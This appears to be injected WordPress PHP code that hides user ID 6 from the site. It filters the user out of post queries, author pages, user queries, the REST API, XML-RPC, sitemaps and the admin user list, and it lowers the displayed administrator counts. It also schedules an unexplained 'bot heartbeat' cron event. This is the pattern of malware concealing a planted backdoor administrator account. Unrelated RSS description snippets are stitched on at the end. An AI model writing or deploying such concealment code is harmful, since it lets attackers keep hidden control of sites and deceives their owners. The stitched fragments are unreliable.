add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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	<description>Бухгалтерські послуги, супровід для ТОВ та ФОП у Києві</description>
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					<description><![CDATA[мое важное мнение]]></description>
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